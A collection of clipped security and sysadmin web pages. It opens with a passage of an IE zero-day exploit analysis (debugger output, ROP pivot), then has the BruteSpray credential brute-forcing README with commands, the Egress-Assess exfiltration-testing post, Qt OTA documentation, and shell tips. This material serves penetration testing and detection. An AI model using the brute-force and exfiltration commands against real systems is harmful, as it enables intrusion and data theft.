3cf9da2a 8b03 mov eax,dword ptr [ebx]  
3cf9da2c 8365e800 and dword ptr [ebp-18h],0 ss:0023:01a4a168=00000000  
3cf9da30 8d4de8 lea ecx,[ebp-18h]  
3cf9da33 51 push ecx  
3cf9da34 6878daf93c push offset mshtml!IID_IProxyManager (3cf9da78)  
3cf9da39 53 push ebx  
3cf9da3a bf02400080 mov edi,80004002h  
3cf9da3f ff10 call dword ptr [eax]  
`

Meaning that if we can get eax to point to an attacker-controlled field, we
have control over EIP. And indeed, after executing the first command in the
snippet above, we get:

`  
mshtml!QIClassID+0x30:  
3cf9da2a 8b03 mov eax,dword ptr [ebx] ds:0023:0304163c=14141414  
1:025> p  
eax=14141414 ebx=0304163c ecx=000004b0 edx=000000c8 esi=01a4a1b0 edi=01a4a17c  
eip=3cf9da2c esp=01a4a15c ebp=01a4a180 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
`

This leads us to start executing our ROP chain, which immediately pivots the
stack, and continues with the execution of VirtualProtect and the payload
itself.

An old version of Cyvera TRAPS has been tested against the zero-day exploit
variant found in-the-wild, and was able to stop it in multiple different
places. Cyvera TRAPS does not depend on signatures, and thus does not need to
get updated in order to stop zero-day attacks. Additionally, the attacks are
prevented at the early exploitation stage, meaning that no payload is run, no
files are dropped, and no modification is made to the computer.

# x90skysn3k/brutespray

**Created:**| _5/23/2017 12:58:58 PM_  
---|---  
**Updated:**| _5/23/2017 12:58:58 PM_  
**Author:**| __  
**Tags:**| _attacks security tools_  
  

  

# BruteSpray

Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail

Inspired by: Leon Johnson/@sho-luv

Credit to Medusa: JoMo-Kun / Foofus Networks - http://www.foofus.net

#### Version - 1.4

# Demo

https://youtu.be/C-CVLbSEe\_g

# Description

BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services
with default credentials using Medusa. BruteSpray can even find non-standard
ports by using the -sV inside Nmap.

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f6b3942444235522e706e67.png'
width='500' height='324' />

# Usage

First do an nmap scan with ` -oG nmap.gnmap ` or ` -oX nmap.xml `.

Command: ` python brutespray.py -h `

Command: ` python brutespray.py --file nmap.gnmap `

Command: ` python brutesrpay.py --file nmap.xml `

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f6a447a543073542e706e67.png'
width='450' height='256' />

## Examples

#### Using Custom Wordlists:

` python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P
/usr/share/wordlist/pass.txt --threads 5 --hosts 5 `

#### Brute-Forcing Specific Services:

` python brutespray.py --file nmap.gnmap --service ftp,ssh,telnet --threads 5
--hosts 5 `

#### Specific Credentials:

` python brutespray.py --file nmap.gnmap -u admin -p password --threads 5
--hosts 5 `

#### Continue After Success:

` python brutespray.py --file nmap.gnmap --threads 5 --hosts 5 -c `

#### Use Nmap XML Output

` python brutespray.py --file nmap.xml --threads 5 --hosts 5 `

# Supported Services

  * ssh
  * ftp
  * telnet
  * vnc
  * mssql
  * mysql
  * postgresql
  * rsh
  * imap
  * nntp
  * pcanywhere
  * pop3
  * rexec
  * rlogin
  * smbnt
  * smtp
  * svn
  * vmauthd

# Changelog

  * v1.4 
    * added ability to use nmap XML
  * v1.3 
    * added the ability to stop on success
    * added the ability to reference custom userlists and passlists
    * added the ability to specify specific users & passwords

  

# Egress-Assess - Testing Egress Data Detection Capabilities

**Created:**| _12/10/2014 2:06:57 PM_  
---|---  
**Updated:**| _12/10/2014 2:06:57 PM_  
**Author:**| __  
**Tags:**| __  
  

# Testing Egress Data Detection Capabilities

**Github Link:**https://github.com/ChrisTruncer/Egress-Assess

On a variety of occasions, our team will attempt to extract data from the
network we are operating in and move it to another location for offline
analysis. Ideally, the customer that is being assessed will detect the data
being extracted from their network and take preventive measures to stop
further data loss.

When looking to copy data off of our target network, an attacker can do so
over a variety of channels:

  * Download data through Cobalt Strike’s Beacon \(over http or dns\)
  * Download data through a Meterpreter Session
  * Manually moving data over FTP, SFTP, etc.

While we routinely inspect and analyze data from the customer environment in
order to aid in lateral movement, we also provide customers data exfiltration
testing as a service. Performing a data exfiltration exercise can be a
valuable service to a customer who wants to validate if their egress detection
capabilities can identify potentially sensitive data leaving their network.

I wanted to come up with an easy to use solution that would simulate the
extraction of sensitive data from my machine to another. While trying to plan
out a tool, I targeted a few protocols commonly used by attackers: FTP, HTTP,
and HTTPS. To ensure that I could generate “sensitive” data that would be
discovered during defensive operations, I needed to identify what multiple
organizations would highly value. Two different sensitive data types that
would likely have signatures across organizations are social security numbers
and credit card numbers and I decided to target those forms of data in my
proof of concept.

After spending a couple days piecing bits of code together, I am happy to
release Egress-Assess.

<img src='https://www.christophertruncer.com/wp-
content/uploads/2014/12/Egress-Assess-Help-Menu.png' alt='Egress Assess Help
Menu' />

Egress-Assess can act as both the client and the server for the protocol you
wish to simulate. It supports exfiltration testing over HTTP, HTTPS, and FTP.
I envision the tool being used on an internal client and an external server
where data would be passed over network boundaries. Once cloned from the
repository, the dummy data can be transferred from one machine to another.

To extract data over FTP, you would first start Egress-Assess’s FTP server by
selecting “–ftp-server” and providing a username and password to use:

./Egress-Assess.py –ftp-server –username testuser –password pass123

Running that command should start something similar to the following:

<img src='https://www.christophertruncer.com/wp-content/uploads/2014/12/FTP-
Server.png' alt='FTP Server' />

This shows that the FTP server is up and running. With this going, all we need
to do now is configure the client to connect to the server\! This is simple,
can can be done by telling Egress-Assess to act as the ftp client, provide the
username and password to use, the ip to connect to, and the type of data to
transmit \(in this case, social security numbers\). Your output should look
similar to the following…

<img src='https://www.christophertruncer.com/wp-
content/uploads/2014/12/egress-ftp-client.png' alt='Egress ftp client' />

Within the same directory as Egress-Assess, a “data” directory will be
created. Within it is where all transmitted files will be stored. At this
point, the transfer is complete via FTP\!

You can also do the same over HTTP or HTTPS. Again, the first step will be
starting one instance to act as the server.

./Egress-Assess.py –http-server

This will now start a web server to listen on port 80 and 443. The next step
is to have your client generate new dummy data, and send it to the web server.
Only this time, we’ll change it up by specifying the approximate amount of
data we want to generate.

By default, Egress-Assess will generate approximately 1 megabyte of data
\(either social security numbers or credit card numbers\). This amount can be
changed using the “–data-size” flag. If we want to send approximately 15
megabytes of credit card data to our web server over http, the command may
look as follows…

./Egress-Assess.py –http –data-size 15 –ip 192.168.63.149 –cc

<img src='https://www.christophertruncer.com/wp-content/uploads/2014/12/http-
transfer.png' alt='Http transfer' />

As you can see above, the file was transferred, and our web server received
the file\!

That about rounds out the current state of Egress-Assess. Future revisions
will include making a more modularized tool so users can easily add support
for new protocols, and new data types for transfer. If there are any other
requests, I’d love to hear them\!

# Over-The-Air Update | Over the Air Update 1.0
**Created:**| _1/2/2019 6:39:30 PM_  
---|---  
**Updated:**| _1/2/2019 6:39:30 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Over-The-Air Update

Over-The-Air \(OTA\) update is a mechanism of distributing software updates
over a wireless network without requiring physical access to a device. The
target device needs to have a support for the OTA to be able to update
wirelessly.

The Qt OTA offering provides tools that assist in enabling OTA update
functionality in an embedded linux images build with meta-boot2qt. Generating
new updates for OTA enabled devices is completely automated, given an ordinary
linux sysroot as an input. This includes OTA updates for linux kernel, system
libraries, user space applications, translation fixes, anything that is part
of the sysroot. The offering includes Qt/C++ and QML APIs to make integration
with your Qt-based application a breeze.

The OTA solution is based on OSTree. If you would like to learn more about
OSTree workings refer to the OSTree Documentation. There you can read about
the anatomy of an OSTree repository and the deployment system, booting, and
other internals of the project, as well as how OSTree compares to other update
solutions.

The following blog post series contain additional details on the Qt OTA
product:

Over-the-Air Updates, Part 1: Introduction

## Features of the Update System

  * Atomic Upgrades \(all or nothing\) - if an update did not fully complete, for example due to a power failure, the system will boot into an unmodified tree. The currently running tree is never modified, the update will become active on a system reboot.
  * Secure - GPG signing and pinned TLS with client and server side authentication support.
  * Efficient Handling of Disk Space - see the `/ostree` and the `/var` in Layout of an OTA Enabled Sysroot.
  * Snapshot-based - traditional package managers \(dpkg/rpm\) build filesystem trees on the client side. In contrast, the primary focus of OSTree is on _replicating trees_ composed on a server.
  * Bandwidth Optimized - only files that have changed are downloaded. When resuming from an interrupted download, only the missing files are fetched.
  * Configuration Management - see the `/etc` in Layout of an OTA Enabled Sysroot.
  * Rollback Support - atomically rollback to the previous version \(tree\) if something goes wrong.
  * Updates Processing in Background - no unnecessary downtime for a user.
  * OS updates via OTA, with support for agnostic application delivery mechanism on top.

## Requirements

  1. Filesystem.
OSTree operates in userspace, and will work on top of any Linux filesystem
that supports hard and symbolic links. For OSTree to function reliably, the
filesystem needs to be able to recover to a consistent state after an unclean
shutdown. Any journaling or log-structured filesystem, when configured
properly, is capable of such recovery.

  2. The Linux Kernel.
The kernel must be configured with initramfs enabled.

[code]     CONFIG_BLK_DEV_INITRD=y

[/code]

There are ways around that, but we currently do not support this out of the
box:  
https://mail.gnome.org/archives/ostree-list/2015-October/msg00015.html

  3. Boot Loader.
Supported boot loaders are: U-Boot, GRUB 2.  

## Quick Start Guide

This guide will lead you through the full workflow of how to use the provided
OTA tools.

  * Adding the OTA capability to a device before shipping it to a customer.
  * Generating an update from the new version of your product's sysroot.
  * Delivering this update to a customer device via OTA.
  * Securing a delivery of an update.

### Installation

Currently, the OTA package is distributed with Qt Automotive Suite and Qt for
Device Creation. The OTA-related files are installed under `Tools/ota`
directory in the main SDK install location, referred to as `SDK_INSTALL_DIR`
in this guide.

When executing scripts, we will refer to the current working directory as
WORKDIR. We will be using the `qt-ostree` tool from the installation. To see a
full list of available command line arguments run the following command:

[code]

    ./qt-ostree --help
[/code]

Instead of providing a full path to `qt-ostree` each time we refer to it in
the guide, we will assume to be already in the `SDK_INSTALL_DIR/Tools/ota/qt-
ostree` directory.

### Work on Your Product

Build your product on top of the Boot to Qt stack, or build your own custom
embedded linux image. When the image is ready for the _first release_ ,
continue to the Enabling OTA Functionality on a Device.

### Enabling OTA Functionality on a Device

When preparing a device for shipping and subsequent updates are to be
delivered via OTA, you first need to enable this feature in the _sysroot_ :

  1. Generate OSTree boot compatible initramfs image.
OSTree integration code parses the `ostree=` kernel command line argument in
the initramfs to find the correct versioned tree. It setups the necessary
mounts, notably the read-only mount on the `/usr` path, and makes the
versioned tree to appear as a real `"/"` root directory in the booted system.
The `ostree=` argument is passed via the boot loader integration code,
explained in more detail later in the guide.

To generate the initramfs image, run:

[code]     cd SDK_INSTALL_DIR/Tools/ota/dracut/

    ./generate-initramfs
[/code]

**Important:** The device should be powered on, booted into your current
product \(the sysroot to be released\), and connected to a machine from which
you will run the `generate-initramfs` tool. Dracut generates the initramfs
image based on the currently running kernel. You can, of course, provide your
own \(not necessarily dracut based\) initramfs, as long as you include the
required ostree logic from the provided dracut module.

**Note:** The `generate-initramfs` works on _systemd_ and _System V_ init-
based systems.

This will produce an `initramfs-${device}-${release}` file in the working
directory. The initramfs file will be needed in the later steps.

  2. Boot loader integration.
OSTree maintains bootloader-independent drop-in configuration files in a
format as defined by The Boot Loader Specification. Including a special
`ostree=` kernel argument that allows the initramfs to find and boot the
specified tree. Not all boot loaders support The Boot Loader Specification, so
OSTree contains code to generate native configurations files from the
bootloader-independent configurations.

The boot script used by your device has to be changed to use the
configurations that are managed by OSTree. This will ensure that, after OTA
updates or rollbacks, the correct kernel version \(and corresponding boot
files\) will be selected at boot time.

     * **U-Boot**
U-Boot tools package is required. In Ubuntu, this can be installed with the
following command:

[code]         sudo apt-get install u-boot-tools

[/code]

OSTree maintains the `uEnv.txt` environment file, which the U-Boot environment
should import. If custom changes to `uEnv.txt` are required, use the `--uboot-
env-file` argument from the `qt-ostree` tool. The provided file will be
appended to OSTree's `uEnv.txt`.

The content of OSTree's `uEnv.txt` has the following format:

[code]         kernel_image=/ostree/qt-
os-590db09c66551670019a487992f4dae9cb2067e241f7c7fefd6b3d35af55895b/vmlinuz

        bootdir=/ostree/qt-os-590db09c66551670019a487992f4dae9cb2067e241f7c7fefd6b3d35af55895b/
        ramdisk_image=/ostree/qt-os-590db09c66551670019a487992f4dae9cb2067e241f7c7fefd6b3d35af55895b/initramfs
        bootargs=ostree=/ostree/boot.1/qt-os/590db09c66551670019a487992f4dae9cb2067e241f7c7fefd6b3d35af55895b/0
[/code]

Where:

       * `${kernel_image}`: Path to the Linux kernel image.
       * `${ramdisk_image}`: Path to the initramfs image.
       * `${bootargs}`: Parameters passed to the kernel command line.
       * `${bootdir}`: Path to other files that belong to the same release and should be accessible from U-Boot \(DTBs, boot scripts\).
A sample U-Boot logic that uses the imported OSTree's environment variables:

[code]           if ${fs}load ${dtype} ${disk}:${part} ${script} uEnv.txt ;
then

            env import -t ${script} ${filesize}
          else
            echo "Error loading uEnv.txt"
            exit
          fi
        
          fdt_file=<device_tree_filename>
        
          ${fs}load ${dtype} ${disk}:${part} ${kernel_addr} **${kernel_image}**
          ${fs}load ${dtype} ${disk}:${part} ${fdt_addr} **${bootdir}** /${fdt_file}
          ${fs}load ${dtype} ${disk}:${part} ${initramfs_addr} **${ramdisk_image}**
        
          # Don't overwrite bootargs set by OSTree in uEnv.txt.
          setenv bootargs **${bootargs}** <additional_bootargs>
        
          bootz ${kernel_addr} ${initramfs_addr} ${fdt_addr}
          
[/code]

Enabling OSTree support requires minimal effort when using a default boot
script as the base. A default boot script here means whatever the device is
currently using for booting. The `qt-ostree` tool does not change the kernel
image format, only the path and the file name changes. If the original script
uses the `bootm` command for loading the kernel image, then the OSTree-enabled
script should use `bootm` too.

**Note:** You should expect to find all the files that are required for the
boot process under the `${bootdir}` path. Before starting to write U-Boot
integration code, you can run the `qt-ostree` tool without providing the
`--uboot-env-file` argument and examine the generated sysroot \(see step 3\).

     * **GRUB 2**
Whenever the boot loader configuration files need to be updated on a GRUB 2
based system, OSTree executes `ostree-grub-generator` to convert bootloader-
independent configuration files into native grub.cfg format. A default script,
used by the `qt-ostree` tool is `SDK_INSTALL_DIR/Tools/ota/qt-ostree/ostree-
grub-generator`. You can customize this script to match your requirements and
provide it to `qt-ostree` via `--grub2-cfg-generator`. The `ostree-grub-
generator` file contains additional details, the script itself is about 40
lines long.

For more examples refer to Device Integration Examples

  3. Convert your sysroot into an OTA enabled sysroot.
The conversion is done using the `qt-ostree` tool.

[code]     sudo ./qt-ostree \

    --sysroot-image-path ${PATH_TO_SYSROOT} \
    --create-ota-sysroot \
    --initramfs ../dracut/initramfs-${device}-${release} \
    --uboot-env-file ../examples/device-integration/nitrogen6x/6x_bootscript
[/code]

The generated sysroot can be examined by mounting the `boot.${BOOTFS_TYPE}`
and the `rootfs.${ROOTFS_TYPE}` filesystem images found in `WORKDIR`.

In this guide we assume that the system is based on U-Boot boot loader.

Notes on the arguments passed to `qt-ostree`:

     * **`--sysroot-image-path`**
       * A path to your sysroot image file\(s\). Binary images \(`*.img`\) and archive images \(`*.tar.gz`\) are accepted.
     * **`--create-ota-sysroot`**
       * This option tells `qt-ostree` to create a binary image that contains a bootable OTA enabled sysroot. You will have to deploy the generated image to a device; in this guide, we use an SD card as memory media \(see step 4\).
     * **`--initramfs`**
       * The initramfs image that we generated in the step 1.
     * **`--uboot-env-file`**
       * A custom U-Boot boot script or `uEnv.txt` file, see Boot loader integration. This argument is optional as U-Boot environment can be stored directly on the board's persistent storage dedicated for U-boot environment, or defined when building the U-Boot binary.
  4. Deploy the generated OTA image to an SD card.
Plug in an SD card or a reader to the development host, and use the following
command to find out its device name.

[code]     lsblk -d

[/code]

Make sure to unmount all partitions on a device.

[code]     sudo umount /dev/<device_name>?*

[/code]

And then deploy the image.

[code]     sudo dd bs=4M if=<image> of=/dev/<device_name> && sync

[/code]

  5. Test that everything went according to the plan.
Boot from the SD card and run the following command _from the device_ :

[code]     ostree admin status

[/code]

The output should be something similar to:

[code]     * qt-os
36524faa47e33da9dbded2ff99d1df47b3734427b94c8a11e062314ed31442a7.0

        origin refspec: qt-os:linux/qt
[/code]

This indicates that the deployment was successful.

**Note:** You should also verify that application\(s\) are working as expected
and do not write outside the permitted paths.

### Preparing a New Update for an OTA Enabled Device

When preparing a new update for a device that already has OTA enabled, the
workflow is as follows:

  1. Work on your sysroot as you normally would. When the product is ready for a release, continue to the next step.
  2. Generate an update.
This is done by using the `qt-ostree` tool.

[code]     sudo ./qt-ostree \

    --sysroot-image-path ${PATH_TO_SYSROOT} \
    --initramfs ../dracut/initramfs-${device}-${release} \
    --start-trivial-httpd
[/code]

The above command will create a new commit in the OSTree repository at
`WORKDIR/ostree-repo/`, or create a new repository if one does not exist. Use
the `--ostree-repo` argument to provide a custom path. This repository is the
OTA update and can be copied to a production server at any time. OSTree
repositories can be served via a static HTTP server.

Notes on the arguments passed to `qt-ostree`:

     * **`--initramfs`**
       * When doing _minor releases_ that do not update the kernel:
Use the same initramfs that you already have generated for this kernel version
in the earlier steps.

       * When doing a _major release_ that updates a kernel:
It is advised to regenerate initramfs for each new kernel release, so that the
kernel and initramfs versions _match_. On U-Boot systems: If the new
kernel/initramfs is **not compatible** with the boot script on a device, it
**must** be updated as well \(see the `--uboot-env-file` notes below\).

     * **`--sysroot-image-path`**
       * Provide a path to the _new version_ of your sysroot.
     * **`--uboot-env-file`**
       * Updating u-boot environment file is supported only for major releases - when kernel/initramfs versions change.
The kernel/initramfs version is considered to change when `bootcsum` changes
in the following expression:

[code]             bootcsum=$(cat vmlinuz initramfs | sha256sum | cut -f 1 -d ' ')
[/code]

     * **`--start-trivial-httpd`**
       * Starts a simple web server which you can access on the local host at address specified in `WORKDIR/httpd/httpd-address` file. Entering this address into a web browser lists the contents of your OSTree repository. This command line argument is useful for quick testing purposes, in production with more advanced requirements \(TLS authentication\) you will need to use a different web server solution, like Apache.
  3. Use Qt OTA APIs to update devices.
  4. Go back to step 1.

### Securing a Delivery of an Update

OTA is a component of a system and not a security framework. If handled
correctly \(GPG and TLS are used properly, the keys are generated and handled
properly and the servers in question are secure to known vulnerabilies and
exploits\) OTA is considered secure against realistic attacks.

**GPG Signing**

GPG signing helps to ensure that the data was transmitted in-full, without
damage or file corruption and that the data was sent by a trusted party. A set
of trusted keys is stored as keyring files on a device. Look for `--gpg-*`
command line arguments in the output of `./qt-ostree --help`.

In Ubuntu, the required packages can be installed with the following command:

[code]

    sudo apt-get install gnupg gnupg2
[/code]

**TLS Authentication**

TLS protects data from tampering and eavesdropping. System administrators use
this to restrict the access to the server \(client authentication\) and client
devices use this to verify the identitiy of an update server \(server
authentication\). Look for `--tls-*` command line arguments in the output of
`./qt-ostree --help`.

It is advised to use both GPG and TLS in hostile environments. To learn more
about the security topics from the above list, consult dedicated resources.

## Layout of an OTA Enabled Sysroot

There are only two directories on a device for a safe storage of local files:
`/var` and `/etc`. The sysroot generated by OTA tools adds convenience
symbolic links in the `/` root directory, including symbolic links pointing to
the `/var`.

**Important:**

  * Do not create or modify files in other locations, these files will be garbage collected on the next upgrade.
  * Do not directly modify the contents of the `/ostree` and the `/boot` directory. This can result in a system that fails to boot.

Directory| Description  
---|---  
`/usr` \[read‑only\]| Everything that is part of the OS - mounted read-only to
prevent inadvertent corruption. It's recommended that an operating system
ships all of its content in /usr. Contents of this directory are updated via
OTA.  
`/etc`| Host-specific system-wide configuration files. OTA _preserves_ all
local changes by doing a 3-way merge.  
  
**How a 3-way merge works:** First OSTree checks on the _currently booted
tree_ which configuration files have been changed, removed or added by a user
by comparing the /etc with the read-only /usr/etc/. The /usr/etc is where
OSTree stores default configurations of the tree as composed on the server
\(each tree has its own read-only copy of the /usr/etc\). The advantage of
having read-only /usr/etc is that you always have access to system defaults.
Then OSTree takes /etc of the _OTA update_ , which is a separate copy from
your running /etc \(each tree has its own writable copy of the /etc\) as a
base and applies your local changes on top. It doesn’t attempt to understand
the contents of files – if a configuration file on a device has been modified
in any way, that wins.  
`/var`| The only directory that is _preserved_ and _shared_ across upgrades.
This is where user and application data should be stored.**Note:** OSTree does
not update the contents of /var, it is the responsibility of the OS to manage
and upgrade /var if required.  
`/ostree`| The location of the OSTree repository on a device and where the
bootable versioned filesystem trees are installed. These trees _share_ all
common files via hard links into the OSTree repository. This means each
version is deduplicated; an upgrade process only costs disk space proportional
to the new files, plus some constant overhead.**Note:** /ostree is a symbolic
link to /sysroot/ostree.  
`/boot`| Contains the boot loader configuration files, kernel, initramfs, and
other files that are required for the boot process.  
`/sysroot`| Physical / root directory.  
`/`| Versioned filesystem tree's root.  
## Device Integration Examples

Find examples for real embedded devices in the
`SDK_INSTALL_DIR/Tools/ota/examples/device-integration/` directory.

# Command Line Kung Fu: Episode \#4 - Listing Files and Their Sizes

**Created:**| _5/16/2009 10:35:47 AM_  
---|---  
**Updated:**| _5/16/2009 10:35:51 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#4 - Listing Files and Their Sizes

Ed's Initial Command:  
  
On Windows, we can list the size of all files on c:\ and their names:  
  

[code]

    C:\> for /r c:\ %i in (*) do @echo %~zi, %i
[/code]

  
This can be useful to find files that are hogging up disk space so you can
back them up or delete them. To dump it into a file, append >> filename.csv.
You can then open it in a spreadsheet for searching or sorting.  
  
Hal's Comments:  
  
Of course Unix folks tend to use du for tracking down directories that are
consuming large amounts of disk space, but if you really want to drill down on
individual files:  
  

[code]

    # find / -type f -exec wc -c {} \;
[/code]

  
How about sorting that list so it's easier to find the big files:  
  

[code]

    # find / -type f -exec wc -c {} \; | sort -n
[/code]

  
Or how about just the top 100 largest files in descending order of size:  
  

[code]

    # find / -type f -exec wc -c {} \; | sort -nr | head -100
[/code]

  
By the way, this is an interesting example of a case where I really want to use "find ... -exec ..." rather than "find ... | xargs ...". If I were to let xargs aggregate the calls to "wc -c" I'd end up having wc intersperse totals in the middle of my output. By calling wc individually on each file with find I get output that's much nicer for piping into other programs.

# Gdbinit | Reverse Engineering Mac OS X
**Created:**| _1/3/2012 4:12:17 PM_  
---|---  
**Updated:**| _1/3/2012 4:12:17 PM_  
**Author:**| __  
**Tags:**| _Debugging_  
  

# Gdbinit

Here you can find all gdbinit versions released by me \(from newest to
oldest\). To install copy the downloaded files to your user home dir as
“.gdbinit”.

**For Mac OS X and others \(Linux, FreeBSD, etc\):**

Version 7.4.3  
SHA256\(gdbinit743.gz\)=
18931eac613917b4ef63be7708dfa052e7a0edb629c7d829705e231cf2154451

Version 7.4.2  
SHA256\(gdbinit742.gz\)=
058b4910320a2370bf4ca5dc10da4f7cea105e73b9a28478c6f3e8475dba1bcf

# Offensive-Security.com - LM Cracker

**Created:**| _7/22/2009 1:01:20 PM_  
---|---  
**Updated:**| _7/22/2009 1:01:47 PM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

### Welcome to the Offensive Security LM Cracker

Enter your LM Hash and click submit. Your LM hash HAS to be in PWDUMP
format,eg:  
  
**test:1006:731CA81BE409F6F3355629A7DEB28CFB:61F8F0043D75B0D42C6AB87635B7383F::::
**  
  
There are currently 1 hashes in queue

# Androguard: Android memory dump with emulator

**Created:**| _12/19/2010 10:51:23 PM_  
---|---  
**Updated:**| _12/19/2010 10:51:51 PM_  
**Author:**| __  
**Tags:**| _Memory forensics reversing android_  
  

### Android memory dump with emulator

<img src='img/Temp2_777.jpg' />  
It's just a quick tip but it can be usefull. If you would like to dump the
memory of the android emulator, you must follow these steps :  

  * Run the emulator with qemu :  _**emulator -avd android\_2\_3 -qemu -monitor telnet::4444,server**_
  * Connect to the 4444 port with telnet :  _**telnet localhost 4444**_
  * Stop the virtual machine :  _**stop**_
  * Dump the physical memory \(by default it's 96 MB, but you can change the memory with hw.ramSize\) : ** _pmemsave 0 100663296 android\_2\_3\_default\_physical.dump_**
  * Or the virtual memory :****_**memsave 0 100663296 android\_2\_3\_default\_virtual.dump**_

  

# Quellcode-Anzeige in LATEX: listings, lgrind

**Created:**| _12/28/2009 9:50:07 PM_  
---|---  
**Updated:**| _12/28/2009 9:50:22 PM_  
**Author:**| __  
**Tags:**| _Latex_  
  
<img src='img/Temp2_6557' />

# Command Line Kung Fu: Episode \#23: Job Control

**Created:**| _5/16/2009 10:29:56 AM_  
---|---  
**Updated:**| _5/16/2009 10:30:00 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#23: Job Control

Hal Says:  
  
Paul's last post left me hankering to talk a little bit more about job control
in the Unix shell. Besides, it'll make Ed feel really bad about the Windows
command shell, so what's not to like?  
  
The simplest form of job control is to hit "^Z" to suspend a currently running
process. Once the process is suspended, you get your command prompt back and
can issue other commands. You can also type "bg" to force the suspended
process into the background, where it will continue to run:  
  

[code]

    # **tail -f /var/log/httpd/error_log**  
     _[... output not shown ...]_  
    **^Z**  
    [1]+  Stopped                 tail -f /var/log/httpd/error_log  
    # **bg**  
    [1]+ tail -f /var/log/httpd/error_log &
    
[/code]

  
Now you can fiddle with your Apache config file, restart the web server, etc.
The "tail -f" process is still running in the background and displaying errors
as they appear in the log file. I find this very useful if I'm working
remotely to resolve problems on my web server. Actually, I could have simply
started that "tail" command in the background by putting a "&" at the end of
the command line:  
  

[code]

    # **tail -f /var/log/httpd/error_log &**  
    [1] 14050
    
[/code]

  
I often use job control to flip in and out of a superuser shell:  
  

[code]

    $ **/bin/su**  
     Password:  
    # _[... do some stuff as root ...]_  
     # **suspend**  
      
    [1]+  Stopped                 /bin/su  
    $ _[... do some stuff as a normal user ...]_  
     $ **fg**  
     /bin/su  
    # 
    
[/code]

  
Notice that you use "fg" to start a suspended process running again. This sure
beats having to keep using "su" and re-enter the root password all the time.
Of course, you probably should be using "sudo", but that's a topic for another
day.  
  
By the way, you can also use job control to blip in and out of remote SSH
sessions too:  
  

[code]

    [hal@localhost ~]$ **ssh remotehost**  
     hal@remotehost's password:  
    Last login: Sun Apr  5 10:06:26 2009 from ...  
    [hal@remotehost ~]$  
    [hal@remotehost ~]$ **~^Z** [suspend ssh]  
      
    [1]+  Stopped                 ssh remotehost  
    [hal@localhost ~]$ **fg**  
     ssh remotehost  
      
    [hal@remotehost ~]$ 
    
[/code]

  
Note that the key sequence to suspend an SSH session is "\n~^Z"-- you have to
enter the tilde character at the beginning of a line, not while you're in the
middle of a command-line. By the way, if you're logged into multiple machines
in series, you can use multiple tildes to pick which of the chained SSH
sessions you actually want to suspend.  
  
Sometimes you might have multiple jobs suspended at the same time. You can use
the "jobs" command to display them, and use the job number displayed in the
output to interact with the different jobs:  
  

[code]

    # **jobs**  
    [1]   Stopped                 vi /etc/httpd/conf/httpd.conf  
    [2]-  Stopped                 vi /etc/httpd/conf.d/ssl.conf  
    [3]+  Stopped                 tail -f /var/log/httpd/error_log  
    # **bg %3**  
    [3]+ tail -f /var/log/httpd/error_log &  
    # **fg %1**  
     vi /etc/httpd/conf/httpd.conf  
    **^Z**  
    [1]+  Stopped                 vi /etc/httpd/conf/httpd.conf  
    # **%2**  
     vi /etc/httpd/conf.d/ssl.conf  
    **^Z**  
    [2]+  Stopped                 vi /etc/httpd/conf.d/ssl.conf  
    # **fg**  
     vi /etc/httpd/conf.d/ssl.conf
    
[/code]

  
In general you do "\[fg|bg\] %n" to foreground or background job number "n".
However, you can leave off the "fg" if you want because foregrounding a job is
the default. If you don't specify a job number after the "fg" or "bg", then
the most recently manipulated job number is assumed-- you can see this job
with a "+" next to it in the output of the "jobs" command.  
  
Ed Wimpers:  
  
Job control?\!? What are you, Hal... just plain cruel? I long for true job
control in my cmd.exe. If I want true job control, I just install Cygwin.  
  
But, there are some job control-like things I can do in a pinch on a box
without Cygwin.  
  
For example, if I want to start a process in a separate cmd.exe window, I can
use the start command. Here, I'll use it to start a separate shell window to
search for wmic.exe on the C:\ partition, using the file search capabilities
we described in Episode \#21:  
  

[code]

    C:\> start dir /s /b c:\wmic.exe
    
[/code]

That pops up a separate Window that will display my results. The window will
linger displaying my results after it's done. If I want to start it up
minimized, I can run:  
  

[code]

    C:\> start /MIN dir /s /b c:\wmic.exe
    
[/code]

  
If I want it to start a process in a separate window and then have it
disappear when it is done running, I use:  
  

[code]

    C:\> start cmd.exe /c dir /s /b c:\wmic.exe
    
[/code]

  
Sadly, there's no easy way to get access to standard out of these separately
invoked shells windows while they are running, other than to have them dump
their output into a file, with "> filename" at the command line invocation.  
  
But now for the tricky part... how can you mimic the & feature of most Linux
shells to run something in the background of the current cmd.exe while still
dumping their standard output into the current shell's display? We can use the
/b option of start to put something in the background, as in:  
  

[code]

    C:\> start /b dir /s /b c:\wmic.exe
    
[/code]

  
So, we've got &-like behavior\! However, it's not really full job control,
because I can't pull that job into the foreground, or select one job from a
group of backgrounded tasks. But, I can kill my background task, by hitting
CTRL-break in the cmd.exe window that spawned it. Also, each time you run
"start /b", it will leave an extra cmd.exe process running until you either
exit that process \(by typing... you guessed it... "exit"\) or killing it.  
  
To kill "jobs" \(if I can call them that\) more thoroughly, I usually rely on
wmic or taskkill, as defined in Episode \#22.  
  
So, there you have it... not quite job control, but an ability to kick things
into the background so you can keep your current shell active and get more
work done. Oh, and install Cygwin. You'll be glad you did. :\)  
  
Paul Says:  
  
I will never forget when I was first learning Linux/UNIX \(I actually got my
feet wet with Linux/UNIX by using Linux at home, and AIX at work\). I was
configuring a proxy server, carefully constructing each command line switch
and running the command. I'd hit **^Z** to put the command in the background
and wonder why my proxy server wasn't listening. I had forgotten to put the &
after the command, so it truly did "suspend" the command. I never made that
mistake again :\)  
  
I would also like to quickly highlight the nohup command. I often use this
when I run a command that will take a long time and want to go back and check
its output:  
  

[code]

    $ nohup nmap -sS -T4 -iL edswindowsnetwork -oA myscanresults &
    
[/code]

  
  
Sometimes processes you start while logged into a remote host will SIGHUP when
you logoff, and nohup can prevent that.

  

# Function Pointers in C are Underrated — Vicky Chijwani's Blog

**Created:**| _3/23/2012 12:09:22 PM_  
---|---  
**Updated:**| _3/23/2012 12:09:22 PM_  
